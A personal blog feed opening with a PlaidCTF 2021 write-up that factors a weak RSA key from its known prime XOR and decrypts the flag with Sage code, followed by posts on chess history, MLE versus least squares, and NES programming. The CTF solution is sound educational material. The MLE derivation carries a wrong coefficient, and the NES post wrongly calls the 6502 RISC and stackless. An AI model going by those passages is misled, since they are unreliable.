https://hkopp.github.io/2021/04/Writeup-of-Xorsa-from-PlaidCTF-2021
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="intro">Intro</h2>
<p>On 2020-04-17 I participated as part of the USS in <a href="https://plaidctf.com">PlaidCTF</a>.
As usual thanks to the
organizers and sponsors for putting together such nice challenges.</p>
<p>As usual in CTFs there were a bunch of challenges and if you solved
one correctly, a special flag in form of a binary string appears from
somewhere. This flag can be submitted in the web-interface and your
team gets points.</p>
<p>The USS team made the 134th place among the 541 participants, even
though we solved only one challenge.</p>
<p>This post contains my writeup of the challenge xorsa. If you want to
play around with the challenge, you can find it
<a href="/assets/2021-04-18-Writeup-of-Xorsa-from-PlaidCTF-2021/xorsa.tgz">here</a>.
If you want to read other writeups, go
<a href="https:////ctftime.org/event/1199/tasks/">here</a>.</p>
<p>Note: This post also appeared on the <a href="https://uss.informatik.uni-ulm.de/2021/04/Writeup-of-Xorsa-from-PlaidCTF-2021">USS
site</a></p>
<h2 id="xorsa">XORSA</h2>
<p>The challenge consisted of three files:</p>
<ul>
<li>public.pem: An RSA public key in PEM file format</li>
<li>xorsa.sage: A file with sage code.</li>
<li>flag.enc: From the sage file and the file name it is suggested, that
this is the encrypted flag.</li>
</ul>
<p>Below is the content of the sage file.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">PKCS1_OAEP</span>
<span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">p</span><span class="p">,</span><span class="n">q</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">16158503035655503426113161923582139215996816729841729510388257123879913978158886398099119284865182008994209960822918533986492024494600106348146394391522057566608094710459034761239411826561975763233251722937911293380163746384471886598967490683174505277425790076708816190844068727460135370229854070720638780344789626637927699732624476246512446229279134683464388038627051524453190148083707025054101132463059634405171130015990728153311556498299145863647112326468089494225289395728401221863674961839497514512905495012562702779156196970731085339939466059770413224786385677222902726546438487688076765303358036256878804074494</span>
<span class="k">assert</span> <span class="n">p</span><span class="o">^^</span><span class="n">q</span> <span class="o">==</span> <span class="n">x</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">p</span><span class="o">*</span><span class="n">q</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">q</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span><span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">construct</span><span class="p">((</span><span class="n">n</span><span class="p">,</span><span class="n">e</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="n">p</span><span class="p">,</span><span class="n">q</span><span class="p">))</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">PKCS1_OAEP</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"flag.enc"</span><span class="p">,</span><span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"private.pem"</span><span class="p">,</span><span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">exportKey</span><span class="p">())</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"public.pem"</span><span class="p">,</span><span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">publickey</span><span class="p">().</span><span class="n">exportKey</span><span class="p">())</span></code></pre></figure>
<p>This is very similar to the usual setup for RSA.
We have unknown prime numbers p, q. There is a modulus n=p<em>q.
We have the public part of the key e = 65537 and the secret part d
such that e</em>d = 1 mod (p-1)(q-1).
If we could factorize n and get to know p and q, we could compute the
secret d.
OAEP is used for padding, which is also fairly standard.</p>
<p>The suspicious part that screams “look at me” is that p^^q == x and x
is known. After reading previous discussions of my teammate I learned
that ^^ is sage syntax for the xor operation.</p>
<p>So maybe it is possible to factor n, as we know x.
I simply googled this and found clever people who already solved this
<a href="https://math.stackexchange.com/questions/2087588/integer-factorization-with-additional-knowledge-of-p-oplus-q/2087589">here</a>.
The idea is that we first look at the i least significant bits (i.e.,
mod 2**i) start with i=1 and factorize there.
This gives us the lowest bits of each, p and q.
Then we increase i. As we know the xor,
we only have two more possibilities for the next bit of p to test.
We repeat this, until i covers teh whole number.
In the linked stackexchange discussion, there is <a href="https://github.com/sliedes/xor_factor">a link to a github
repo</a>, where someone has
already implemented this.</p>
<p>The next steps are thus as follows:</p>
<ol>
<li>Extract n from the RSA public key.</li>
<li>Factorize n using the knowledge of x and the <a href="https://github.com/sliedes/xor_factor">github code</a>.</li>
<li>Decrypt the encrypted flag.</li>
</ol>
<h3 id="extracting-n-from-the-rsa-public-key">Extracting n from the RSA public key</h3>
<p>If you know the commands, this is fairly straightforward.
Running the following code shows n.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span> <span class="c1"># pip install pycrypto
</span><span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"public.pem"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">importKey</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">n</span><span class="p">)</span> <span class="c1">#displays n</span></code></pre></figure>
<h3 id="factorizing-n">Factorizing n</h3>
<p>Take the code from <a href="https://github.com/sliedes/xor_factor">here</a> and
invoke it like this: <code class="language-plaintext highlighter-rouge">./xorfactor n x</code>, where you have to substitute n
and x with the correct values.</p>
<h3 id="decrypting-the-flag">Decrypting the flag</h3>
<p>Now that we have all the components together, all that remains is
creating the private key and decrypting the flag.
For this, I was able to reuse some of the initial challenge code.
Note the assertion that <code class="language-plaintext highlighter-rouge">p*q == n</code>. Stuff like this is very important
for debugging when it would not have worked.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">PKCS1_OAEP</span>
<span class="n">p</span> <span class="o">=</span> <span class="mi">20420969679471891108678348706656014746583934953911779875638425062354608191587183527950669164730700934272964182495787953304429468689762991322834551415645126708376516740680832417842286228420321593951669261051536747972457884863137310884282408490497575698325423547287860485177580030001077220138986358776296171919687266364733033819652040824038462023264875486252347426522916763724808898841410387685709431644531618456599577633972666332007415430841589961044976519245509149515296930564608453957399860365835338361556249254149485870260959744131461233248546913266875137205814224895267413530734240509464368626036706116974009128413</span>
<span class="n">q</span> <span class="o">=</span> <span class="mi">28054539427494619618149689905596076429856984445645433669516156290418225421410517787779668517055290133852649936139827864804362688012118333884178242727752944519074048590360750318612378539438159662786353326373062884835264801371859099448845473624420663390433385862519105545532536453262415924316279385374822224406717473538131244397856571015984808737311810992683556365367226442459037956423012864505787939824387975762988816118609146663560957688289879555734075738210834196560874913737409142987175846607589921563622580505680695004314201238943582440280860553616004146782317383144868597295249895821620037478662736479377036405283</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">572900899020416333871774257897548190887875148332377649724629936942125065954403900214957099848244171042974830846321891115307194396859686148130195132775076147750816194194669485148310306866581747110109691391312495531105927432103095764487512855459663872226168973095665437985144973023035595602765438245069834002841752496072121527638243974956820747758308700622999731497265472265365706764203471894277850225555548962683741076063801485180774626107811063013748877832840560423294386298604594493033408101188433615350326658252746536427284017654908082042006370318751764459634138015874523739235598764251156235537699918418385721276093786930034069514119606912034739140729411915149355415250809598641184778583967357160241141516039721817350339432544637530638228659667851395488664406233933526970325653567096968977127473742267040558971420711170242569029577549402889853450812286141680939789725346428838857690827772743624748319239951407607711869461490939565401926953995816761514931996533209601647238748877564442428220404985707296616973140792150179655494712897659250302854615541193197046051998966799951879589911393813337960444303479065771250762320802542931155305758806716461516379431800232991995334538124086322560806306237096858377000246068189144665458605879</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">16158503035655503426113161923582139215996816729841729510388257123879913978158886398099119284865182008994209960822918533986492024494600106348146394391522057566608094710459034761239411826561975763233251722937911293380163746384471886598967490683174505277425790076708816190844068727460135370229854070720638780344789626637927699732624476246512446229279134683464388038627051524453190148083707025054101132463059634405171130015990728153311556498299145863647112326468089494225289395728401221863674961839497514512905495012562702779156196970731085339939466059770413224786385677222902726546438487688076765303358036256878804074494</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="k">assert</span> <span class="n">p</span><span class="o">*</span><span class="n">q</span> <span class="o">==</span> <span class="n">n</span>
<span class="k">assert</span> <span class="n">p</span><span class="o">^^</span><span class="n">q</span> <span class="o">==</span> <span class="n">x</span>
<span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">q</span><span class="p">)</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"flag.enc"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">construct</span><span class="p">((</span><span class="n">n</span><span class="p">,</span><span class="n">e</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="n">p</span><span class="p">,</span><span class="n">q</span><span class="p">))</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">PKCS1_OAEP</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span></code></pre></figure>
<p>Running it yields the correct flag.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">hjgk</span><span class="o">@</span><span class="n">ophit</span><span class="p">:</span><span class="o">~/</span><span class="n">pctf</span><span class="o">/</span><span class="n">xorsa</span><span class="err">$</span> <span class="n">sage</span> <span class="n">sol</span><span class="p">.</span><span class="n">sage</span>
<span class="sa">b</span><span class="s">'PCTF{who_needs_xor_when_you_can_add_and_subtract}'</span></code></pre></figure>
Chess History
2021-03-09T00:00:00+00:00
https://hkopp.github.io/2021/03/chess-history
<h2 id="introduction">Introduction</h2>
<p>In this post, I want to give a short overview of the
development of various schools of chess in a chronological order.
Note that I am not an expert on that topic.
I have just read a lot and want to write it down on my blog instead of my notebook.</p>
<h2 id="romantic-chess">Romantic Chess</h2>
<p><a href="https://en.wikipedia.org/wiki/Romantic_chess">Romantic chess</a> was the style of chess that was played up to around 1880.
It was similar to the romantic era in the arts. Emotional expression was favored instead of playing good.
People in that era sucked at chess.
They played mostly 1.e4 and the game consisted of rapid tactical maneuvers instead of slow development of the pieces.
Gambits had to be accepted as everything else was cowardly.
<a href="https://en.wikipedia.org/wiki/Paul_Morphy">Paul Morphy</a> is a famous player from that era.</p>
<h2 id="modern-chess">Modern Chess</h2>
<p>Romantic Chess was superseded by the modern school of chess.
This was mainly due to <a href="https://en.wikipedia.org/wiki/Wilhelm_Steinitz">Steinitz</a> who introduced modern elements such as positional play, closed positions the importance of controlling the center, as well as the importance of space.
Another important chess theorist of that school is <a href="https://en.wikipedia.org/wiki/Siegbert_Tarrasch">Tarrasch</a>.
This is basically how most of chess is still played today.</p>
<h2 id="hypermodern-chess">Hypermodern Chess</h2>
<p>Later, the modern school of chess was superseded by the <a href="https://en.wikipedia.org/wiki/Hypermodernism_(chess)">hypermodern school</a>.
While in modern chess, players try to control the center as pieces in the center are more flexible, in hypermodern chess the players control the center via the flanks.
This can be achieved by fianchettoing their bishops.
The center is then slowly undermined.
Common hypermodern openings are all of the Indian Defenses.
One train of thought that to me defines the hypermodern school the ideas introduced by Tarrasch being too rigid and dogmatic to encompass technically good chess.
The most famous hypermodern player is <a href="https://en.wikipedia.org/wiki/Aron_Nimzowitsch">Nimzowitch</a></p>
The Beautiful Connection Between Mle And Linear Regression
2020-09-06T00:00:00+00:00
https://hkopp.github.io/2020/09/the-beautiful-connection-between-mle-and-linear-regression
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h1 id="scenario">Scenario</h1>
<p>Let’s start from a very generic scenario:
We have some measurements \((x_i,y_i)\), \(i\in I=\{1,...,n\}\), and a model \(f_\theta\) for these measurements, where \(\theta\) is a parameter.
However, these measurements are noisy, i.e., there are some
measurement errors. In formulas: \(f_\theta(x_i)=y_i+\epsilon\) for all
\(i\).
We now want to find \(\theta\).</p>
<p>This scenario occurs lots of times. For instance, when measuring
physical constants, we usually know the physical model, and thus
\(f_\theta\), but we are unaware of \(\theta\). However, we can make
experiments to get a bunch of measurements.
In fact we can do this most of the time when we have a model and need
to choose parameters. We can simply do some experiments and then
choose the “best” parameters. Yeah, \(\theta\) can be a vector of
parameters.</p>
<h2 id="maximum-likelihood-estimation">Maximum Likelihood Estimation</h2>
<p>Up to now we discussed <strong>Maximum Likelihood Estimation</strong>
in a <a href="/2017/12/maximum-likelihood-estimation-of-a-coin-flip">previous post</a>, where the parameter \(\theta\) is chosen in
such a way, that it is the most likely parameter to account for the
measurement results. More exactly, we defined the likelihood function
\(\mathcal{L}(p;x_1,...,x_n)\) as the joint probability mass function</p>
\[\begin{equation}
\mathcal{L}(\theta;x_1,...,x_n)=F_\theta(x_1,...,x_n)=\prod\limits_i F_\theta(x_i)
\end{equation}\]
<p>where \(F_\theta(\cdot)\) is the probability mass function from which the
\(y_i\) are sampled.
Then, the parameter \(\theta\) for which
\(\mathcal{L}(\theta;x_1,...,x_n)\) is maximal is the “most likely”
\(\theta\) to explain the measurements.</p>
<h2 id="method-of-least-squares">Method of Least Squares</h2>
<p>However, there is another way to choose the “best” parameter \(\theta\), namely the <strong>Method of Least Squares</strong>.
The idea is that when we choose a fixed \(\hat\theta\), then we still
have some error \(\epsilon\) which is not explained by our model. This
error is exactly \(\epsilon=f_\theta(x_i)-y_i\) for each measurement
\(i\in I\). We want to have these errors as small as possible. That
is, we want to minimize the difference of our prediction and the real
measurement. In formulas, we want to minimize \(\sum\limits_{i\in I} \lvert
y_i-f_\theta(x_i)\rvert\), where \(\lvert\cdot\rvert\) denotes the
absolute value. As minimizing a function necessitates taking a
derivative it is easier (and customary) to instead minimize
\(RSS(\theta)=\sum\limits_{i\in I} (y_i-f_\theta(x_i))^2\). This is the
so-called <strong>residual sum of squares</strong>.</p>
<h2 id="some-math">Some Math</h2>
<p>So which of these methods – maximum likelihood estimation or the
method of least squares – is the best? Which one should you use?
Let me tell you that mostly it does no matter.
The point of this whole blog post is to show that</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Maximum likelihood estimation assuming gaussian errors is exactly the
same as the method of least squares.
</code></pre></div></div>
<p>Let me repeat that in a different font style:
<strong>Maximum likelihood estimation assuming gaussian errors is exactly the
same as the method of least squares.</strong></p>
<p>Now let me show you why that is the case.
Let us compute the maximum likelihood estimate \(\hat\theta\).
Thus, assume that \(\epsilon\) are identically and independently
gaussian distributed.</p>
<p>We know that \(\mathcal{L}(\hat\theta;x_1,...,x_n)\) is maximal
exactly when \(\log\mathcal{L}(\hat\theta;x_1,...,x_n)\) is maximal.
Taking the logarithm is another customary trick to ease the computation.</p>
<p>Plugging in the definition yields
\(\begin{equation}
\log\mathcal{L}(\hat\theta;x_1,...,x_n)=\log\prod N(f_{\hat\theta}(x_i),\sigma^2) = \sum_i\log N(f_{\hat\theta}(x_i),\sigma^2)
\end{equation}\)</p>
<p>As we assumed gaussian errors we get
\(\begin{equation}
\sum_i\log f_{\hat\theta}(x_i) = \sum\limits_{i=1}^n \log\left(\frac{1}{\sigma\sqrt{2\pi}}e^{-\frac{(y_i-f_\theta(x_i))^2}{2\sigma^2}}\right).
\end{equation}\)</p>
<p>Here, \(\sigma\) and \(\mu\) are the parameters of the Gaussian model,
variance and the mean respectively. Simplifying further yields the
following.</p>
\[\begin{equation}
\sum\limits_{i=1}^n \log\left(\frac{1}{\sigma\sqrt{2\pi}}e^{-\frac{(y_i-f_\theta(x_i))^2}{2\sigma^2}}\right)
= -n \log(\sigma\sqrt{2\pi}) -2\sigma^2 \sum\limits_{i=1}^n (y_i-f_\theta(x_i))^2.
\end{equation}\]
<p>Thus, in summary:
\(\begin{equation}
\log\mathcal{L}(\hat\theta;x_1,...,x_n)= -n \log(\sigma\sqrt{2\pi}) -2\sigma^2 \sum\limits_{i=1}^n (y_i-f_\theta(x_i))^2.
\end{equation}\)</p>
<p>As the first part only depends on \(\sigma\) it is now pretty obvious that the last part is maximal if the
residual sum of squares \(RSS(\theta)=\sum\limits_{i\in I} (y_i-f_\theta(x_i))^2\) is minimal.
But when the RSS is minimal then we retrieve the same parameters as
with the least squares method.</p>
Nes Programming Surprises
2020-05-09T00:00:00+00:00
https://hkopp.github.io/2020/05/NES-programming-surprises
<h2 id="introduction">Introduction</h2>
<p>In my journey through NES development I encountered some quirks and surprises.
These are well known in the community, but may still be interesting for other people outside of the community.
This is an exposition of my adventures.</p>
<h2 id="reading-the-controllers">Reading the Controllers</h2>
<p>As you may know, a NES controller has exactly eight buttons that can be pressed.
Consequently an intuitive design would have been to simply use a byte.
This byte could then be read out.
The first bit could indicate if A was pressed. The second bit could indicate if B was pressed, and so on.</p>
<p>As you may have guessed due to the context of this post, this is not the case.
Instead, while there is one byte at $4016 which can be read out for getting the state of the controllers,
it only gives one button per read.
So, the least significant bit of the first read indicates if A is pressed.
The least significant bit of the second read indicates if B is pressed, and so on.
Consequently, the controllers have to be read out in a loop.</p>
<p>Below, you can see controller reading code from <a href="https://github.com/hkopp/nes-adventures/blob/master/04_controller/controller.s">my code</a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>player1_buttons: .res 1 ; Buttons of player1.
; Bits are set as follows:
; A|B|Select|Start|Up|Down|Left|Right
; ========
LatchController: ; tell both controllers to latch buttons
lda #$01
sta $4016
lda #$00
sta $4016
ldx #$08
ReadControllerLoop:
; This idea is from the nerdy nights tutorial series.
lda $4016
lsr a ; least significant byte is stored in carry
rol player1_buttons ; and shifted into the variable
dex
bne ReadControllerLoop
rti ; return
.endproc
</code></pre></div></div>
<p>I can only guess that the engineers made the decision to read the controllers this way in order to support other input devices.</p>
<p>There is a second issue with reading the controllers, which I have not addressed in my code above.
Namely, there is a hardware bug.
If you are using the sample playback capabilities of the audio device (DPCM) this can mess with your controller readings.
So, the safe way (and what <a href="https://github.com/captainsouthbird/smb3/blob/master/PRG/prg031.asm#L3238">Super Marios Bros.</a> does) is to read out the controllers twice, and check if the same has been read.
This bug was later fixed in the PAL NES, so this hardware bug does not even affect all NESs.
Moreover, when using an emulator, this hardware bug is often not simulated.
Consequently, you could program a game which works fine in an emulator, but the controllers are not read out correctly on a real NES.
Have fun searching debugging that issue.</p>
<p>If you want to code your own controller reading code, there is also a <a href="https://github.com/pinobatch/nrom-template/blob/master/src/pads.s">nice template</a> by pinobatch.
More information can be found <a href="https://wiki.nesdev.com/w/index.php/Controller_reading">in the NESdev wiki</a>.</p>
<h2 id="detecting-sprite-overflows">Detecting Sprite Overflows</h2>
<p>The NES PPU can at most have eight sprites on a horizontal line.
If you have more sprites on a horizontal line this is called a sprite overflow.
In this case you have to cycle through the sprites.
In each drawing, a different sprite is hidden, leading to a flickering effect.
This flickering could be considered as bad, but it is much better than not flickering and thus not completely hiding a sprite.
Especially, if the hidden sprite is an enemy and then kills you this could lead to a very bad game experience.
Killed by an invisible sprite, lol.</p>
<p>You have to write this sprite cycling code by yourself.
Thus, it may be good to have a flag, that is only set if sprite overflow occurs.
You could check the flag and only cycle sprites if the flag is set.
Otherwise you do not cycle sprites and use your valuable computing power for something else.
Remember, back then computing power was scarce.</p>
<p>Well, it turns out, that there is such a sprite overflow flag.
But it does not work.
The <a href="https://wiki.nesdev.com/w/index.php/PPU_sprite_evaluation#Sprite_overflow_bug">NESdev wiki</a> says that there are both false positives and false negatives.
This is simply a polite way of saying that it is totally broken.
Not only do you have to write your own cycling code, additionally you have to write your own sprite overflow detection code.</p>
<p>Nevertheless, the broken behavior of the sprite overflow detection is broken in such a deterministic way, that there are <a href="https://wiki.nesdev.com/w/index.php/Sprite_overflow_games">some games</a> which make use of the bug.</p>
<h2 id="getting-randomness">Getting Randomness</h2>
<p>In modern CPUs, there is usually a dedicated random number generator.
Often, the noise of a diode is measured to come up with ‘real randomness’.
These measurements are then enriched by the operating system with other seemingly random events and put into an entropy pool.
Of course the NES does not have such a mechanism.
Instead, you have to write your own pseudorandom number generator (PRNG).
With my cryptographic background I was okay with this, but it is of course also possible to “borrow” one from <a href="https://github.com/bbbradsmith/prng_6502">here</a>.</p>
<p>Nevertheless, you need a starting value called a seed to come up with the random looking sequence.
Where do you get the seed on a NES?
Initially I thought of reading from some memory positions.
When the memory positions are not initialized, they are at least undefined.
It turns out that this works if you do it correctly, but it comes with some problems.</p>
<p>Firstly, it is unclear if an emulator simulates this appropriately.
You may run into the situation that you cannot use an emulator for programming but have to test it on real hardware instead.
This is just unnecessarily hard.</p>
<p>Secondly, there is a whole community interested in tool assisted speedruns.
If you use indeterministic behavior, these people stop being interested in your program.</p>
<p>The ‘recommended’ way to get a good seed is by using timings.
As an example, games often have an intro screen and the start button needs to be pressed in order to advance to the game screen.
A nice seed would simply be the time (number of frames) elapsed between the intro screen and the game screen.
This way, the tool assisted speedrunners are happy and emulators can handle it.</p>
<h2 id="acknowledgements">Acknowledgements</h2>
<p>Thanks to the people at the nesdev discord. Without them, it would have been significantly harder to acquire the knowledge for writing this article.</p>
Nintendo Entertainment System Programming Setup
2020-03-22T00:00:00+00:00
https://hkopp.github.io/2020/03/nintendo-entertainment-system-programming-setup
<h2 id="introduction">Introduction</h2>
<p>Well, I thought about doing some retro coding on the Nintendo
Entertainment system (the NES) and researched a lot.
Then i was able to set up a development environment, follow a
tutorial, and write a “Hello World” program.
My original goal was to write an endless runner or a space shooter or
some other crappy game, though i am still very far from that.
In this post, I am going to share the setup of my environment and
which parts have to be covered for programming on the NES.</p>
<h2 id="why-retro-programming">Why Retro programming?</h2>
<p>Sometimes I have a deep yearning for programming like it used to be
before the internet. Back when code was not simply copied from
stackoverflow. Back when code was not buried under tons of frameworks
and abstraction layers. Before all that object-oriented stuff. When I
did not know what a library was and instead had a bunch of helper
functions that I copied into every project i wrote.
I have to say that writing code for the NES fulfills that desire.</p>
<h2 id="why-nes">Why NES?</h2>
<p>The nintendo system is the console of my generation. Even though I did
not own a nintendo at the time i often played with my friends together
when we met. That was the time when there was no internet and
multiplayer meant that you sat together on a couch and stared at a
screen.
So, part of choosing the NES is out of nostalgia, part is, because it
really is a cool console.</p>
<p>I also looked into Gameboy programming and SNES programming.
Well, gameboy programming is surely interesting, but I do not have
such a personal connection to the gameboy as i have to the NES.
Regarding the SNES, the Super Nintendo Entertainment System, i.e., the
successor of the NES, there are not many tools available in order to
program that. Further, i looked into the SNES audio chip in a little more
depth, and it is completely sample-based, instead of having to program
the oscillators by yourself. Thus, it is less fun.</p>
<h2 id="setting-up-a-development-workflow">Setting up a development workflow</h2>
<p>Programming the NES is divided in approximately three areas:</p>
<ul>
<li>Code</li>
<li>Music</li>
<li>Graphic</li>
</ul>
<p>Additionally, you want to have an emulator (such as fceux or nestopia)
in order to test your code.
I will talk about each of the three areas in the following paragraphs.</p>
<p>[Edit 2020-03-28: Actually, the emulator part is not trivial either.
While there are a large number of emulators
(<a href="http://0ldsk00l.ca/nestopia/">Nestopia</a>, <a href="http://www.fceux.com/web/">fceux</a>, <a href="https://www.mesen.ca/">Mesen</a>),
not all of them offer debugging support. The Windows version of fceux
(which works in wine) has debug support. Mesen also offers debugging
functionality.]</p>
<h3 id="code">Code</h3>
<p>The NES was originally programmed in 6502 assembler. I’d like to think
that there was a bunch of tooling involved, but all of these original
tools are lost to history.</p>
<p>A modern approach to NES development is either writing it in Assembly
or using C. Originally I thought that using C is shitty, as the
hardware of the NES is very restricted and C does not optimally use
the resources. While C is certainly not as well-performing as assembly, you
can compile your C to assembly and then modify the assembly. This is
easier than writing all of your code in assembly. It may also help you
in learning the assembly, when you already know a bit of C.</p>
<p>If you plan to use assembly, we are talking here about 6502 assembly.
In contrast to “modern” x86 assembly, this was at a time when assembly
was targeted to be written by humans. Nowadays, assembly has thousands
of commands and is primarily targeted to be written by compilers.
6502 assembly has just a bunch of commands, due to it being a RISC
architecture. But note that this also means that you have to do more
things by yourself. As an example, 6502 does not have an instruction
for multiplication. And there is no stack. And you have to reuse
variables which served a totally different purpose, since you want to
behave like a cheapskate and do not simply hand out your precious memory to
anyone.</p>
<p>So, the current way to go seem to be the following tools:</p>
<ul>
<li>cc65 - A C compiler</li>
<li>ca65 - An assembler for 6502</li>
</ul>
<p>Note that when you are using older tutorials with cc65, when compiling you may
get the error <code class="language-plaintext highlighter-rouge">Error: Call to undefined function 'waitvblank'</code>. This
function is now called waitvsync in more modern versions of nes.h.</p>
<h3 id="music">Music</h3>
<p>The audio chip (APU = Audio processing unit) of the NES is a real
old-school chip, from before sound cards were invented. Having some
experience with the SID chip, the NES APU is very similar but more
shitty.
There are five oscillators builtin. You cannot use more, as these are
hardware oscillators. And they have a fixed purpose in contrast to the
SID chip, where the oscillators can play different wave forms.</p>
<ul>
<li>2 pulse waves</li>
<li>1 triangle wave</li>
<li>1 noise</li>
<li>1 sample</li>
</ul>
<p>Last time I played around with that, i think I used
<a href="http://www.famitracker.com/">Famitracker</a>, but had problems getting
it to work reliably with wine.
There is also the <a href="http://www.deflemask.com/">Deflemask Tracker</a>.
If you have never worked with a tracker, prepare to get frustrated.
If you have worked with a tracker before, prepare to get perfectionist and
never write any code but instead waste hours composing shitty music.
Maybe my <a href="/2018/06/synthesizer-recipes">synth recipe post</a> helps you with being
perfectionist.</p>
<p>Well, at least music is not a necessary part of anything you do at the
NES. If you manage to finish programming a game, just state in the
user manual that there is no music and listening to fucking Slayer
while playing is recommended. That’s what we did back then anyway.</p>
<h3 id="graphics">Graphics</h3>
<p>Regarding the graphic chip (PPU = Picture Processing Unit), as the
hardware of the NES is so limited, images are stored in a special
format, such that many parts can be reused.</p>
<p>Let me first explain <a href="https://www.c64-wiki.com/wiki/High_Resolution">Hires Mode on the
Commodore C64</a>, as that is
conceptually similar, but easier.
Hires stands for high-resolution (yeah!), as there are 320x200 pixel
you can use. This is not a typo. Back then, that was high resolution.
These 320x200 pixel are divided into 40x25 chars of 8x8 pixel each.
They are called chars, as they are usually the size of a character.
Per char you can use 2 colors. So you have one bit per pixel for the
color. In total you had a palette of 16 colors to choose from.
This subdivision into chars and palettes per char is very similar to
the NES PPU.
(Note that the C64 had some additional graphic modes to Hires, whereas
the NES PPU seems to have only one graphic mode according to my
research.)</p>
<p>In the NES PPU, there are 256x240 pixel.
These are divided into 16x15 blocks.
Each block in turn is divided into 2x2 CHR tiles of 8x8 pixel.
So, in total, there are 960 CHR tiles per screen.
